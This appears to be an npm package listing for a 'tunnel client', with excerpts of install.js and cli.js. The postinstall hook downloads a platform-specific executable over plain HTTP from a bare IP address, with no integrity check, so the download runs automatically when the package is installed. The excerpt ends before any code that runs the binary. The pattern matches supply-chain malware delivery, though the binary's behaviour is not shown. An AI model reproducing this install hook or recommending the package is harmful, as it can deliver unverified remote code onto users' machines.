1cat-tunnel-client-zx

--- install scripts ---
### postinstall
node install.js



--- package/cli.js (excerpt) ---
#!/usr/bin/env node
'use strict';

const os = require('os');
const fs = require('fs');
const path = require('path');
const https = require('https');
const http = require('http');
const { execSync, spawn } = require('child_process');

const BINARY_BASE_URL = 'http://156.226.174.161:8888/binaries';
const BINARY_DIR = path.join(__dirname, 'bin');

function getPlatform() {
  const platform = os.platform();
  const arch = os.arch();

  const map = {
    'linux-x64': 'tunnel-client-linux-amd64',
    'linux-arm64': 'tunnel-client-linux-arm64',
    'darwin-x64': 'tunnel-client-darwin-amd64',
    'darwin-arm64': 'tunnel-client-darwin-arm64',
    'win32-x64': 'tunnel-client-windows-amd64.exe',
  };

  const key = `${platform}-${arch}`;
  if (!map[key]) {
    console.error(`Unsupported platform: ${platform}/${arch}`);
    console.error('Supported: linux-x64, linux-arm64, darwin-x64, darwin-arm64, win32-x64');
    process.exit(1);
  }
  return map[key];
}

function getBinaryPath() {
  const binaryName = getPlatform();
  return path.join(BINARY_DIR, binaryName);
}

function downloadBinary(url, destPath) {
  return new Promise((resolve, reject) => {
    const file = fs.createWriteStream(destPath);
    const proto = url.startsWith('https') ? https : http;

    proto.get(url, (response) => {
      if (response.statusCode === 302 || response.statusCode === 301) {
        // Follow redirect
        file.close();
        fs.unlinkSync(destPath);
        downloadBinary(response.headers.location,

--- package/install.js (excerpt) ---
#!/usr/bin/env node
'use strict';

// Post-install script: downloads the binary for the current platform
const os = require('os');
const fs = require('fs');
const path = require('path');
const https = require('https');
const http = require('http');

const BINARY_BASE_URL = 'http://156.226.174.161:8888/binaries';
const BINARY_DIR = path.join(__dirname, 'bin');

function getPlatform() {
  const platform = os.platform();
  const arch = os.arch();

  const map = {
    'linux-x64': 'tunnel-client-linux-amd64',
    'linux-arm64': 'tunnel-client-linux-arm64',
    'darwin-x64': 'tunnel-client-darwin-amd64',
    'darwin-arm64': 'tunnel-client-darwin-arm64',
    'win32-x64': 'tunnel-client-windows-amd64.exe',
  };

  const key = `${platform}-${arch}`;
  return map[key] || null;
}

function downloadBinary(url, destPath) {
  return new Promise((resolve, reject) => {
    const file = fs.createWriteStream(destPath);
    const proto = url.startsWith('https') ? https : http;

    proto.get(url, (response) => {
      if (response.statusCode === 302 || response.statusCode === 301) {
        file.close();
        try { fs.unlinkSync(destPath); } catch (e) {}
        downloadBinary(response.headers.location, destPath).then(resolve).catch(reject);
        return;
      }
      if (response.statusCode !== 200) {
        file.close();
        try { fs.unlinkSync(destPath); } catch (e) {}
        reject(new Error(`HTTP ${response.statusCode}`));
        return;
      }
      response.pipe(file);